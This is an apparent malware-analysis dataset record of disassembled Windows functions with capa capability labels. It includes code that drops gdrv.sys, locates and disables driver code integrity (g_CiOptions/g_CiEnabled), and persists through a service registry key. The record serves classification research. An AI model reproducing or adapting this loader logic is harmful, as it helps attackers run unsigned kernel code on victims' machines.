joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140169380
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
call fcn.140167b10
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.DLL_Sleep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_ExitProcess]

Function at 0x140169460
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xa0
mov rax, qword [0x140545d00]
xor rax, rsp
mov qword [rbp + 0x4f], rax
movsxd rbx, edx
xor edi, edi
mov byte [rbp + 0x2f], dil
lea rax, [0x140529194]
mov qword [rbp + 0x27], rax
lea rax, [rbp + 0x2f]
mov qword [rbp - 9], rax
mov qword [rbp - 1], rcx
lea rax, [rbp + 0x27]
mov qword [rbp + 7], rax
lea ecx, [rdi + 0x18]
call fcn.140473230
movups xmm0, xmmword [rbp - 9]
movups xmmword [rax], xmm0
movsd xmm1, qword [rbp + 7]
movsd qword [rax + 0x10], xmm1
mov qword [rbp + 0x47], rax
lea rcx, [rbp + 0x3f]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], edi
mov r9, rax
lea r8, [0x14016e0f0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x37], rax
test rax, rax
je 0x140169622
cmp dword [rbp + 0x3f], edi
je 0x140169616
movaps xmm0, xmmword [rbp + 0x37]
movdqa xmmword [rbp + 0x17], xmm0
lea rcx, [rbp + 0x17]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140169616
xorps xmm0, xmm0
movaps xmmword [rbp - 9], xmm0
movdqa xmmword [rbp + 0x37], xmm0
mov rdi, rbx
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
mov r9, rax
cmp rbx, 0x989680
jne 0x14016954c
imul rax, r9, 0x64
jmp 0x1401695c5
cmp rbx, 0x16e3600
jne 0x1401695aa
movabs r10, 0xb2f4fc0794908cf3
mov rax, r10
imul r9
add rdx, r9
sar rdx, 0x18
mov rcx, rdx
shr rcx, 0x3f
add rdx, rcx
imul r8, rdx, 0x3b9aca00
imul rcx, rdx, 0x16e3600
sub r9, rcx
imul rcx, r9, 0x3b9aca00
mov rax, r10
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rax, rdx
add rax, r8
jmp 0x1401695c5
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
mov qword [rbp - 0x19], rax
test rdi, rdi
jle 0x1401695f8
imul rdx, rdi, 0x3b9aca00
movabs r8, 0x7fffffffffffffff
mov rcx, r8
sub rcx, rdx
cmp rax, rcx
jge 0x1401695f4
lea rcx, [rdx + rax]
mov qword [rbp - 0x19], rcx
jmp 0x1401695f8
mov qword [rbp - 0x19], r8
lea rcx, [rbp - 0x19]
call fcn.14016dec0
mov ecx, 1
xchg byte [rbp + 0x2f], cl
cmp dword [rbp + 0x3f], 0
je 0x140169631
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0x3f], edi
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.140473210
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
Function at 0x14016baf0
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x14016bb18
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x14016bb3e
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x14016bb40
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x14016bb99
test ecx, ecx
jle 0x14016bb79
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x14016bb99
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x14016bb99
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret

Function at 0x14016bbc0
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x14016bbe2
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je 0x14016bbf8
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x14016bc14
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x14016bc16
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x14016bc52
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x14016bcee
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x14016bc8d
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x14016bcce
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x14016bcee
cmp rbx, rax
ja 0x14016bca0
test rbx, rbx
je 0x14016bcee
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
Function at 0x14016c160
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x140545d00]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x14016c18d
xor eax, eax
jmp 0x14016c2f9
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x14016c1c7
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x14016c1c7
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x14016c2f9
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x14016c2ec
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14016c20a
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x14016c235
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x14016c2f1
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x14016c2a4
sub eax, 1
je 0x14016c2a4
cmp eax, 2
jne 0x14016c2ec
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x14016c2f1
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x14016c2d2
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x14016c2ec
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x14016c2f1
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140473210
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x14016ca30
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x140545d00]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x14016cb03
cmp byte [rcx + 0x71], 0
je 0x14016cb03
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + Ordinal_26]
cmp eax, 0xffffffff
je 0x14016caff
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x14016cac4
sub eax, 1
je 0x14016cac8
cmp eax, 2
jne 0x14016caff
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140473210
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x14016caf6
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x14016caff
cmp byte [rbx + 0x71], 0
sete al
jmp 0x14016caac
xor al, al
jmp 0x14016caac
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140473210
add rsp, 0x60
pop rbx
ret

Function at 0x14016ee30
Capabilities:
Delete file
Execute command
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
mov rax, qword [0x140545d00]
xor rax, rsp
mov qword [rsp + 0x48], rax
xor ebx, ebx
lea rcx, str.C:WindowsSystem32Driversgdrv.sys
mov qword [rsp + 0x30], rbx
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x10000000
mov dword [rsp + 0x20], 1
mov dword [rsp + 0x40], ebx
call qword [sym.imp.KERNEL32.DLL_CreateFileW]
mov rdi, rax
call qword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0x50
je 0x14016eebf
cmp rdi, 0xffffffffffffffff
je 0x14016eed1
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], rbx
mov r8d, 0x6650
lea rdx, [0x1405f0040]
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_WriteFile]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
test bl, bl
je 0x14016eed1
call fcn.14016fa90
lea rcx, str.C:WindowsSystem32Driversgdrv.sys
call qword [sym.imp.KERNEL32.DLL_DeleteFileW]
lea rcx, [0x14052919c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140473210
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
Function at 0x14016efd0
Capabilities:
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
mov r11, rsp
push rbp
push r14
sub rsp, 0x168
mov rax, qword [0x140545d00]
xor rax, rsp
mov qword [rsp + 0x158], rax
mov r14, rdx
mov qword [rdx], 0
xor edx, edx
mov dword [r11 - 0x28], 0
mov rbp, rcx
lea r9, [r11 - 0x28]
xor r8d, r8d
lea ecx, [rdx + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x14016f17f
mov rax, qword gs:[0x30]
mov r8d, dword [rsp + 0x150]
mov qword [rsp + 0x198], rsi
add r8, r8
mov qword [rsp + 0x160], rdi
mov rdx, qword [rax + 0x60]
mov rcx, qword [rdx + 0x30]
mov edx, 8
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov r8d, dword [rsp + 0x150]
xor r9d, r9d
add r8d, r8d
mov rdx, rax
mov rdi, rax
lea ecx, [r9 + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov esi, eax
test eax, eax
js 0x14016f151
mov qword [rsp + 0x190], rbx
xor ebx, ebx
cmp dword [rdi], ebx
jbe 0x14016f149
mov ecx, ebx
lea rax, [rsp + 0x20]
imul rcx, rcx, 0x128
mov edx, 2
add rcx, 8
add rcx, rdi
nop dword [rax]
lea rax, [rax + 0x80]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
lea rcx, [rcx + 0x80]
movups xmmword [rax - 0x80], xmm0
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rax - 0x70], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rax - 0x60], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rax - 0x50], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rax - 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rax - 0x30], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rax - 0x20], xmm0
movups xmmword [rax - 0x10], xmm1
sub rdx, 1
jne 0x14016f0b0
movups xmm0, xmmword [rcx]
lea rdx, [rsp + 0x48]
movups xmm1, xmmword [rcx + 0x10]
mov rcx, qword [rcx + 0x20]
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
mov qword [rax + 0x20], rcx
mov rcx, rbp
movzx eax, word [rsp + 0x46]
add rdx, rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x14016f13f
inc ebx
cmp ebx, dword [rdi]
jb 0x14016f092
jmp 0x14016f149
mov rax, qword [rsp + 0x30]
xor esi, esi
mov qword [r14], rax
mov rbx, qword [rsp + 0x190]
mov rax, qword gs:[0x30]
mov r8, rdi
xor edx, edx
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
mov rdi, qword [rsp + 0x160]
mov eax, esi
mov rsi, qword [rsp + 0x198]
mov rcx, qword [rsp + 0x158]
xor rcx, rsp
call fcn.140473210
add rsp, 0x168
pop r14
pop rbp
ret
Function at 0x14016f1a0
Capabilities:
Disable driver code integrity

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
xor ebx, ebx
mov r14, r8
mov qword [r8], rbx
mov rbp, rdx
mov rsi, rcx
call fcn.140170030
mov rcx, rsi
mov rdi, rax
call fcn.140170030
mov r9, rax
test rax, rax
je 0x14016f2cd
mov rax, qword gs:[0x30]
mov r10d, ebx
mov r8d, ebx
mov rcx, qword [rax + 0x60]
mov eax, 0x3fab
cmp word [rcx + 0x120], ax
jb 0x14016f262
lea r11, [0x140531948]
sub r9, r11
nop
mov ecx, ebx
mov rax, r11
movzx edx, byte [rax]
cmp byte [r9 + rax], dl
je 0x14016f222
test dl, dl
jne 0x14016f25e
inc ecx
inc rax
cmp ecx, 0x10
jb 0x14016f215
mov cl, 1
test cl, cl
mov eax, r8d
cmove eax, r10d
inc r8d
inc r9
mov r10d, eax
cmp r8d, 0xff
jl 0x14016f210
movzx ecx, bx
nop dword [rax]
inc cx
movzx eax, cx
cmp byte [rax + r11], bl
jne 0x14016f250
jmp 0x14016f2bc
xor cl, cl
jmp 0x14016f22e
lea r11, [0x140531938]
sub r9, r11
nop dword [rax]
mov ecx, ebx
mov rax, r11
movzx edx, byte [rax]
cmp byte [r9 + rax], dl
je 0x14016f282
test dl, dl
jne 0x14016f2d4
inc ecx
inc rax
cmp ecx, 0xc
jb 0x14016f275
mov cl, 1
test cl, cl
mov eax, r8d
cmove eax, r10d
inc r8d
inc r9
mov r10d, eax
cmp r8d, 0xff
jl 0x14016f270
mov ecx, ebx
nop dword [rax + rax]
inc cx
movzx eax, cx
cmp byte [rax + r11], bl
jne 0x14016f2b0
test r10d, r10d
jne 0x14016f2d8
lea rcx, str.failed_to_find_CipInitialize_n
call fcn.140167b10
xor eax, eax
jmp 0x14016f3bb
xor cl, cl
jmp 0x14016f28e
movzx r9d, cx
mov edx, r10d
movsxd rcx, r10d
lea rax, [rcx + r9]
mov r8d, dword [rax + rdi]
add rdi, 4
lea rax, [rcx + r8]
add rax, r9
lea rcx, str.CipOffset_:__d___CipInitOffset_:_0x_llx__CipInitialize_:_0x_llx_n
add rdi, rax
mov r9, rdi
call fcn.140167b10
lea r11, [0x140531928]
mov r8, rdi
sub r8, r11
mov r10d, ebx
mov r9d, ebx
nop word [rax + rax]
mov ecx, ebx
mov rax, r11
movzx edx, byte [rax]
cmp byte [r8 + rax], dl
je 0x14016f332
test dl, dl
jne 0x14016f381
inc ecx
inc rax
cmp ecx, 0xc
jb 0x14016f325
mov cl, 1
test cl, cl
mov eax, r9d
cmove eax, r10d
inc r9d
inc r8
movsxd r10, eax
cmp r9d, 0xff
jl 0x14016f320
nop dword [rax]
inc bx
movzx edx, bx
cmp byte [rdx + r11], 0
jne 0x14016f360
test eax, eax
jne 0x14016f385
lea rcx, str.failed_to_find_Ci_gOptions_n
call fcn.140167b10
xor eax, eax
jmp 0x14016f3bb
xor cl, cl
jmp 0x14016f33e
lea rax, [rdx + r10]
movsxd r8, dword [rax + rdi]
lea rcx, [r10 + 4]
lea rbx, [rdx + r8]
mov edx, r10d
add rbx, rcx
lea rcx, str.Offset_:__d_RealOffset_:__d__g_CiOptions_:_0x_llx
add rbx, rdi
mov r9, rbx
call fcn.140167b10
sub rbx, rsi
mov eax, 1
add rbx, rbp
mov qword [r14], rbx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x14016f3e0
Capabilities:
Access peb ldr_data
Get windows directory from kuser_shared_data

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x190]
sub rsp, 0x290
mov rax, qword [0x140545d00]
xor rax, rsp
mov qword [rbp + 0x180], rax
mov qword [rcx], 0
lea rdx, [rsp + 0x58]
mov eax, dword [0x140531988]
lea r8, str._lsSystem32_hs
movsd xmm0, qword [0x140531980]
mov rdi, rcx
mov dword [rsp + 0x60], eax
mov esi, 0x23f0
movzx eax, byte [0x14053198c]
mov r9d, 0x7ffe0030
mov byte [rsp + 0x64], al
mov eax, dword [str.CI.dll]
mov dword [rsp + 0x50], eax
movzx eax, word [0x140531c30]
mov word [rsp + 0x54], ax
movzx eax, byte [0x140531c32]
mov byte [rsp + 0x56], al
movsd qword [rsp + 0x58], xmm0
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
lea rax, [rsp + 0x50]
cmp word [rcx + 0x120], si
lea rcx, [rsp + 0x70]
cmovb rax, rdx
mov edx, 0x82
mov qword [rsp + 0x20], rax
call fcn.14016ef70
lea r9, [rsp + 0x48]
lea r8, [rsp + 0x40]
lea rcx, [rsp + 0x70]
call fcn.14016fe00
mov ebx, eax
test eax, eax
jns 0x14016f4d9
mov r8d, eax
lea rdx, [rsp + 0x70]
lea rcx, str.Failed_to_map__ls:__08X_n
call fcn.140167b10
jmp 0x14016f610
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
cmp word [rcx + 0x120], si
jb 0x14016f542
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x50]
call fcn.14016efd0
mov ebx, eax
test eax, eax
jns 0x14016f517
mov edx, eax
lea rcx, str.Failed_to_FindKernelModule__08X_n
call fcn.140167b10
jmp 0x14016f5fe
mov rdx, qword [rsp + 0x38]
lea r8, [rsp + 0x30]
mov rcx, qword [rsp + 0x40]
call fcn.14016f1a0
test eax, eax
je 0x14016f5f9
mov rax, qword [rsp + 0x30]
xor ebx, ebx
mov qword [rdi], rax
jmp 0x14016f5fe
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x58]
call fcn.14016efd0
mov ebx, eax
test eax, eax
js 0x14016f5fe
mov r11, qword [rsp + 0x48]
xor r10d, r10d
xor r9d, r9d
test r11, r11
je 0x14016f5ed
mov rbx, qword [rsp + 0x40]
lea rsi, [0x140529208]
nop dword [rax + rax]
mov r8, r9
xor edx, edx
sub r8, rsi
mov rax, rsi
add r8, rbx
nop
movzx ecx, byte [rax]
cmp byte [r8 + rax], cl
je 0x14016f59d
test cl, cl
jne 0x14016f5e9
inc edx
inc rax
cmp edx, 4
jb 0x14016f590
mov cl, 1
test cl, cl
mov rax, r9
cmove rax, r10
inc r9
mov r10, rax
cmp r9, r11
jb 0x14016f580
test rax, rax
je 0x14016f5ed
movsxd rcx, dword [rax + rbx + 4]
mov rbx, qword [rsp + 0x30]
add rcx, rax
add rbx, 8
add rbx, rcx
lea rcx, str.i_:_0x_llx_n_gCiEnabled_:__llx_n_gCiEnabledAddress_:__llx_n
call fcn.140167b10
mov qword [rdi], rbx
xor ebx, ebx
jmp 0x14016f5fe
xor cl, cl
jmp 0x14016f5a9
lea rcx, str.failed_to_find_CiEnabled_n
call fcn.140167b10
mov ebx, 0xc0000225
mov rdx, qword [rsp + 0x40]
mov rcx, 0xffffffffffffffff
call qword [sym.imp.ntdll.dll_NtUnmapViewOfSection]
mov eax, ebx
mov rcx, qword [rbp + 0x180]
xor rcx, rsp
call fcn.140473210
lea r11, [rsp + 0x290]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x14016f640
Capabilities:
Persist via windows service
Set registry value

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
push rdi
push r14
sub rsp, 0x260
mov rax, qword [0x140545d00]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov r14, rdx
lea r8, str.RegistryMachineSystemCurrentControlSetServices_
mov rbx, rdx
mov edi, reloc.WS2_32.dll_gethostbyname
mov rsi, rcx
lea edx, [rdi + 1]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
movzx ecx, word [rbx]
mov rdx, rbx
test cx, cx
je 0x14016f6d1
nop dword [rax + rax]
add rdx, 2
cmp cx, 0x5c
mov rax, rdx
cmovne rax, rbx
movzx ecx, word [rdx]
mov rbx, rax
test cx, cx
jne 0x14016f690
movzx ecx, word [rax]
test cx, cx
je 0x14016f6d1
lea rax, [rsi + 0x68]
cmp cx, 0x2e
je 0x14016f6d1
add rbx, 2
mov word [rax], cx
inc edi
add rax, 2
movzx ecx, word [rbx]
test cx, cx
jne 0x14016f6b6
movsxd rax, edi
xor ecx, ecx
mov rdx, rsi
mov word [rsi + rax*2], cx
call qword [sym.imp.ntdll.dll_RtlCreateRegistryKey]
test eax, eax
js 0x14016f797
lea r8, [0x140531998]
mov dword [rsp + 0x30], 1
mov edx, 5
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
mov r8, r14
lea rcx, [rsp + 0x40]
mov edx, 0x87
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
lea rcx, [rsp + 0x40]
mov rax, 0xffffffffffffffff
nop dword [rax]
cmp word [rcx + rax*2 + 2], 0
lea rax, [rax + 1]
jne 0x14016f730
lea eax, [rax*2 + 2]
mov r9d, 1
mov dword [rsp + 0x28], eax
lea r8, [0x1405319a8]
lea rax, [rsp + 0x40]
mov rdx, rsi
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntdll.dll_RtlWriteRegistryValue]
test eax, eax
js 0x14016f797
lea rax, [rsp + 0x30]
mov dword [rsp + 0x28], 4
mov r9d, 4
mov qword [rsp + 0x20], rax
lea r8, [0x1405319c0]
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.ntdll.dll_RtlWriteRegistryValue]
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.140473210
mov rbx, qword [rsp + 0x290]
add rsp, 0x260
pop r14
pop rdi
pop rsi
ret
Function at 0x14016fe00
Capabilities:
Map section object

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
sub rsp, 0xf0
mov rax, qword [0x140545d00]
xor rax, rsp
mov qword [rsp + 0xe0], rax
xor ebp, ebp
lea rdx, [rsp + 0x70]
mov qword [r8], rbp
mov rsi, r9
mov qword [r9], rbp
mov rdi, r8
lea r9, [rsp + 0x80]
mov qword [rsp + 0x60], rbp
xor r8d, r8d
call qword [sym.imp.ntdll.dll_RtlDosPathNameToRelativeNtPathName_U_WithStatus]
mov ebx, eax
test eax, eax
js 0x14016ffef
movzx ecx, word [rsp + 0x80]
lea rdx, [rsp + 0x70]
mov dword [rsp + 0x50], ebp
lea r9, [rsp + 0xd0]
mov qword [rsp + 0x48], rbp
lea r8, [rsp + 0xa0]
test cx, cx
mov dword [rsp + 0x40], 0x60
mov dword [rsp + 0x38], 1
lea rcx, [rsp + 0x60]
xorps xmm0, xmm0
mov dword [rsp + 0x30], 1
mov eax, ebp
mov dword [rsp + 0x28], 0x80
cmovne rax, qword [rsp + 0x90]
mov qword [rsp + 0xa8], rax
lea rax, [rsp + 0x80]
cmove rax, rdx
mov dword [rsp + 0xa0], Ordinal_50
mov edx, 0x120089
mov qword [rsp + 0xb0], rax
mov dword [rsp + 0xb8], 0x40
movdqu xmmword [rsp + 0xc0], xmm0
mov qword [rsp + 0x20], rbp
call qword [sym.imp.ntdll.dll_NtCreateFile]
mov ebx, eax
xor edx, edx
mov rax, qword gs:[0x30]
mov r8, qword [rsp + 0x78]
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
lea rcx, [rsp + 0x80]
call qword [sym.imp.ntdll.dll_RtlReleaseRelativeName]
test ebx, ebx
js 0x14016ffef
mov rax, qword [rsp + 0x60]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x30], rax
xor r9d, r9d
mov dword [rsp + 0x28], 0x1000000
xor r8d, r8d
mov edx, 0xf0004
mov dword [rsp + 0x20], 2
mov qword [rsp + 0x68], rbp
